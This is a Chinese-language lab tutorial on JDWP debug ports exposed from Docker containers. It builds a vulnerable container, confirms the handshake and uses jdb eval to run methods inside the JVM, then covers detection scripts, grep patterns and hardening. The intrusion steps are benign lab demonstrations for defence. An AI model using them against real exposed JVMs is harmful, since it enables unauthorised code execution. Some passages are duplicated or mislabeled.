JDWP 远程调试协议在容器环境中的暴露面与利用链构造
JDWP(Java Debug Wire Protocol)是 JVM 调试器与被调试进程之间的通信协议,通常通过 -agentlib:jdwp 启用。它不是 Web 入口,也不是业务框架组件;一旦以服务端模式监听 TCP 端口,连接方进入的是 JVM 调试面,而不是应用认证面。协议握手阶段没有密码、令牌、证书或挑战响应,网络可达就能开始调试会话。
JDWP(Java Debug Wire Protocol)是 JVM 调试器与被调试进程之间的通信协议,通常通过 -agentlib:jdwp 启用。它不是 Web 入口,也不是业务框架组件;一旦以服务端模式监听 TCP 端口,连接方进入的是 JVM 调试面,而不是应用认证面。协议握手阶段没有密码、令牌、证书或挑战响应,网络可达就能开始调试会话。
一. 创建实验环境
实验环境:
docker --version
docker compose version
java -version
jdb -help | head -n 3
python3 --version
创建App.java:
mkdir -p jdwp-container-lab/src
cd jdwp-container-lab
cat > src/App.java <<'JAVA'
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpServer;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
import java.nio.charset.StandardCharsets;
public class App {
public static void main(String[] args) throws Exception {
HttpServer server = HttpServer.create(new InetSocketAddress("0.0.0.0", 8080), 0);
server.createContext("/ping", App::handlePing);
server.start();
System.out.println("demo service started on 8080");
}
static void handlePing(HttpExchange exchange) throws IOException {
byte[] body = "pong\n".getBytes(StandardCharsets.UTF_8);
exchange.sendResponseHeaders(200, body.length);
try (OutputStream os = exchange.getResponseBody()) {
os.write(body);
}
}
}
JAVA创建Dockerfile:
cat > Dockerfile <<'DOCKER'
FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY src/App.java /app/App.java
RUN javac -g /app/App.java
EXPOSE 8080 5005
CMD ["java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005", "App"]
DOCKERjavac 默认会生成源码与行号调试信息,但为了让 jdb locals 更稳定地显示方法参数,镜像内显式使用 -g 编译
构建镜像:
docker build -t jdwp-container-lab:unsafe .
启动容器,业务端口映射到 8080,调试端口映射到 5005:
docker rm -f jdwp-lab 2>/dev/null || true
docker run -d --name jdwp-lab -p 8080:8080 -p 5005:5005 jdwp-container-lab:unsafe
docker logs jdwp-lab

验证业务接口:
curl -s http://127.0.0.1:8080/ping
curl 返回 pong 证明业务服务同时处于可访问状态。
二. JDWP 参数与端口发布证据

JDWP 暴露链路
JDK 21 中触发本实验暴露面的参数是:
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005各字段含义如下:
transport=dt_socket 使用 TCP socket 作为调试传输层
server=y JVM 作为调试服务端监听连接
suspend=n JVM 启动后不等待调试器,业务直接运行
address=*:5005 监听所有网卡的 5005 端口server=y 决定 JVM 作为调试服务端,address=*:5005 决定监听地址不只限于回环接口。容器启动时再使用 -p 5005:5005,调试端口就从容器网络命名空间发布到宿主机入口。
查看容器端口映射:
docker port jdwp-lab
查看镜像命令:
docker image inspect jdwp-container-lab:unsafe --format '{{json .Config.Cmd}}'
查看运行期进程命令行:
docker exec jdwp-lab sh -c "tr '\000' ' ' < /proc/1/cmdline"
查看 Docker 发布端口的结构化信息:
docker inspect jdwp-lab --format '{{json .NetworkSettings.Ports}}'
HostIp 为 0.0.0.0 时,表示 Docker 在宿主机所有地址上绑定该端口。实际可达范围还取决于宿主机防火墙、云安全组、节点网络策略和上层代理,但容器层面的发布事实已经成立。
address=*:5005 监听所有可用地址,容器外可通过端口发布访问
address=127.0.0.1:5005 监听容器内回环地址,容器外通常不可直接访问
address=5005 不指定主机部分;不同 JDK/配置下不应当作外部暴露写法使用三. 明文握手验证
JDWP 建连的第一个动作是固定字符串握手。客户端发送:
JDWP-Handshake服务端如果返回同样字符串,说明该 TCP 端口接受 JDWP 调试连接。
创建握手验证脚本 jdwp_handshake.py:
cat > jdwp_handshake.py <<'PY'
#!/usr/bin/env python3
import socket
import sys
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 5005
payload = b"JDWP-Handshake"
try:
with socket.create_connection((host, port), timeout=3) as s:
s.sendall(payload)
data = s.recv(len(payload))
except OSError as exc:
print(f"[FAIL] connect {host}:{port}: {exc.__class__.__name__}: {exc}")
sys.exit(2)
print(data.decode("ascii", errors="replace"))
print(data.hex(" "))
if data == payload:
print(f"[OK] JDWP handshake confirmed on {host}:{port}")
sys.exit(0)
print(f"[WARN] TCP is reachable, but response is not JDWP handshake on {host}:{port}")
sys.exit(1)
PY
python3 jdwp_handshake.py 127.0.0.1 5005执行脚本
python3 jdwp_handshake.py 127.0.0.1 5005
十六进制输出对应 ASCII 字符串 JDWP-Handshake。验证了协议身份,不发送断点、线程、类加载等调试指令。
四. jdb 连接与线程挂起
连接 JDWP 端口:
jdb -attach 127.0.0.1:5005
查看线程:
threads
设置 App.handlePing 方法断点:
stop in App.handlePing
另开一个终端触发业务路径:
curl -v http://127.0.0.1:8080/pingcurl 会在请求发出后等待响应。回到 jdb 终端,命中断点:

此时 HTTP 请求尚未返回,因为处理请求的 HTTP-Dispatcher 线程被调试器挂起。
查看当前调用栈:
where
查看本地变量:
locals
五. JVM 内方法调用
断点命中后,jdb eval 会在被挂起线程上下文中求值。先读取请求 URI,验证求值发生在当前 HTTP 请求上下文中:
eval exchange.getRequestURI().toString()
读取 JVM 工作路径:
eval java.lang.System.getProperty("user.dir")
读取 Java 版本:
eval java.lang.System.getProperty("java.version")
创建容器内标记文件,不依赖外部系统命令:
eval new java.io.File("/tmp/jdwp_marker").createNewFile()
继续目标线程:
contcurl 终端随即收到响应:

验证文件由 Java 进程创建:
docker exec jdwp-lab ls -l /tmp/jdwp_marker
默认 eclipse-temurin:21-jdk 镜像中的进程通常以 root 身份运行,这一点说明 JDWP 调用继承的是目标 JVM 进程权限,而不是连接方主机用户权限。
六. 本地 Docker 检测
检查Docker 容器提取容器命令行、环境变量和端口发布信息,定位 JDWP 参数与常见调试端口映射。
创建detect_jdwp_docker.py:
cat > detect_jdwp_docker.py <<'PY'
#!/usr/bin/env python3
import json
import subprocess
import sys
JDWP_MARKERS = ("jdwp", "dt_socket")
SUSPICIOUS_PORTS = {"5005", "8000"}
def run(args):
return subprocess.check_output(args, text=True, stderr=subprocess.DEVNULL).strip()
def try_run(args):
try:
return run(args)
except Exception:
return ""
def join_value(value):
if value is None:
return ""
if isinstance(value, list):
return " ".join(str(v) for v in value)
return str(value)
def contains_jdwp(text):
low = text.lower()
return any(marker in low for marker in JDWP_MARKERS)
def main():
ids = try_run(["docker", "ps", "-q"]).splitlines()
if not ids:
print("no running containers")
return
for cid in ids:
raw = run(["docker", "inspect", cid])
meta = json.loads(raw)[0]
name = meta.get("Name", "").lstrip("/") or cid[:12]
config = meta.get("Config", {}) or {}
network = meta.get("NetworkSettings", {}) or {}
ports = network.get("Ports", {}) or {}
image_cmd = " ".join([
join_value(config.get("Entrypoint")),
join_value(config.get("Cmd")),
]).strip()
proc_cmd = try_run(["docker", "exec", cid, "sh", "-c", "tr '\\000' ' ' < /proc/1/cmdline"])
envs = config.get("Env", []) or []
cmd_evidence = proc_cmd if contains_jdwp(proc_cmd) else image_cmd
if contains_jdwp(cmd_evidence):
print(f"[JDWP-CMD] {name} {cid[:12]}")
print(f" {cmd_evidence}")
for env in envs:
if contains_jdwp(env):
print(f"[JDWP-ENV] {name} {cid[:12]}")
print(f" {env}")
for container_port, host_ports in ports.items():
if not host_ports:
continue
container_port_num = container_port.split("/", 1)[0]
for hp in host_ports:
host_ip = hp.get("HostIp", "")
host_port = hp.get("HostPort", "")
if container_port_num in SUSPICIOUS_PORTS or host_port in SUSPICIOUS_PORTS:
bind_scope = "loopback" if host_ip in ("127.0.0.1", "::1") else "non-loopback"
print(f"[DEBUG-PORT] {name} {cid[:12]} {container_port} -> {host_ip}:{host_port} ({bind_scope})")
if __name__ == "__main__":
try:
main()
except subprocess.CalledProcessError as exc:
print(f"docker command failed: {exc}", file=sys.stderr)
sys.exit(1)
PY
python3 detect_jdwp_docker.py
[JDWP-CMD]表示命令行或镜像配置中发现jdwp。[JDWP-ENV]表示环境变量值中发现 JDWP 参数。[DEBUG-PORT]表示容器发布了常见调试端口。
当变量值包含 jdwp 或 dt_socket 才输出 [JDWP-ENV]。
七. 项目文件静态排查
除了运行期检查,还应排查仓库中的 Dockerfile、Compose、脚本和部署模板。
搜索当前项目目录:
grep -RIn \
--exclude-dir=.git \
--exclude-dir=target \
--exclude-dir=build \
-E 'jdwp|dt_socket|address=\*:|JAVA_TOOL_OPTIONS|JDK_JAVA_OPTIONS|JAVA_OPTS|5005' \
.
docker容器特征:
Dockerfile
Dockerfile.*
docker-compose.yml
compose*.yml
*.sh
*.env
helm/values*.yaml
k8s/*.yaml
systemd unit
CI/CD pipeline variables判断方法:
- 仅出现
5005不一定是 JDWP,但需要继续确认上下文。 - 出现
-agentlib:jdwp、transport=dt_socket、server=y应作为高风险线索。 - 出现
address=*:5005或address=0.0.0.0:5005表示监听范围不是回环地址。 JAVA_TOOL_OPTIONS和JDK_JAVA_OPTIONS会被 JVM 自动读取,风险不低于显式命令行参数。
八. Compose 场景
默认服务不携带 JDWP;需要本机调试时使用独立 debug profile,并把宿主机侧调试端口绑定到回环地址。
创建不包含 JDWP 的 Dockerfile Dockerfile:
cat > Dockerfile.fixed <<'DOCKER'
FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY src/App.java /app/App.java
RUN javac -g /app/App.java
EXPOSE 8080
CMD ["java", "App"]
DOCKER创建不包含 JDWP 的 Dockerfile:
cat > Dockerfile.debug <<'DOCKER'
FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY src/App.java /app/App.java
RUN javac -g /app/App.java
EXPOSE 8080 5005
CMD ["java", "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005", "App"]
DOCKER创建 Compose 文件:
cat > compose.fixed.yml <<'YAML'
services:
app:
build:
context: .
dockerfile: Dockerfile.fixed
image: jdwp-container-lab:fixed
ports:
- "8080:8080"
app-debug:
build:
context: .
dockerfile: Dockerfile.debug
image: jdwp-container-lab:debug
profiles: ["debug"]
ports:
- "8080:8080"
- "127.0.0.1:5005:5005"
YAML运行无 JDWP 的服务:
docker compose -f compose.fixed.yml down 2>/dev/null || true
docker compose -f compose.fixed.yml up -d --build app
docker compose -f compose.fixed.yml ps
需要本机调试时,先停止普通服务,再显式启用 debug profile,避免两个服务同时占用宿主机 8080:
docker compose -f compose.fixed.yml down
docker compose -f compose.fixed.yml --profile debug up -d --build app-debug
docker compose -f compose.fixed.yml ps
127.0.0.1:5005:5005 只限制宿主机绑定地址,不改变容器内 JVM 的 address=*:5005。
九.移除 JDWP 后的验证
创建不包含 JDWP 的 Dockerfile。若前面启动了 Compose 复现环境,先停止它以释放 5005 与 8080:
docker compose -f compose.unsafe.yml down 2>/dev/null || true
docker rm -f jdwp-lab 2>/dev/null || truecat > Dockerfile.fixed <<'DOCKER'
FROM eclipse-temurin:21-jdk
WORKDIR /app
COPY src/App.java /app/App.java
RUN javac -g /app/App.java
EXPOSE 8080
CMD ["java", "App"]
DOCKER构建并启动:
docker rm -f jdwp-lab-fixed 2>/dev/null || true
docker build -f Dockerfile.fixed -t jdwp-container-lab:fixed .
docker run -d --name jdwp-lab-fixed -p 8081:8080 jdwp-container-lab:fixed
docker logs jdwp-lab-fixed验证业务端口仍可访问:
curl -s http://127.0.0.1:8081/ping
验证容器没有发布 5005:
docker port jdwp-lab-fixed
验证运行期命令行不包含 JDWP:
docker exec jdwp-lab-fixed sh -c "tr '\000' ' ' < /proc/1/cmdline"
验证握手失败。确认旧的不安全容器已经停止后执行:
python3 jdwp_handshake.py 127.0.0.1 5005
十. 低权限运行验证
降低容器内 Java 进程权限用于缩小其他入口被滥用后的影响。创建低权限镜像:
cat > Dockerfile.nonroot <<'DOCKER'
FROM eclipse-temurin:21-jdk
WORKDIR /app
RUN groupadd -r -g 10001 appuser && useradd -r -u 10001 -g appuser appuser
COPY src/App.java /app/App.java
RUN javac -g /app/App.java && chown -R appuser:appuser /app
USER appuser
EXPOSE 8080
CMD ["java", "App"]
DOCKER构建并启动:
docker rm -f jdwp-lab-nonroot 2>/dev/null || true
docker build -f Dockerfile.nonroot -t jdwp-container-lab:nonroot .
docker run -d --name jdwp-lab-nonroot \
--read-only \
--cap-drop=ALL \
--security-opt no-new-privileges \
-p 8082:8080 \
jdwp-container-lab:nonroot验证进程用户:
docker exec jdwp-lab-nonroot id
验证业务接口:
curl -s http://127.0.0.1:8082/ping
验证根文件系统只读:
docker exec jdwp-lab-nonroot sh -c 'touch /app/should_fail'
这种运行方式不能把已经暴露的 JDWP 变成安全入口,也不能替代删除调试参数。它的作用是让 JVM 进程在其他入口被滥用时更难写入容器文件系统、更难获得额外 Linux capability。
十一. 结论
JDWP 暴露不是传统意义上的 Web 漏洞,而是 JVM 调试权限被错误发布到容器外。server=y,address=*:5005 让 JVM 监听调试端口,docker -p 5005:5005 或平台服务发布让端口离开容器网络,明文 JDWP-Handshake 证明协议可达,jdb 断点证明业务线程可被挂起,eval 创建文件证明连接方能够在目标 JVM 内调用方法。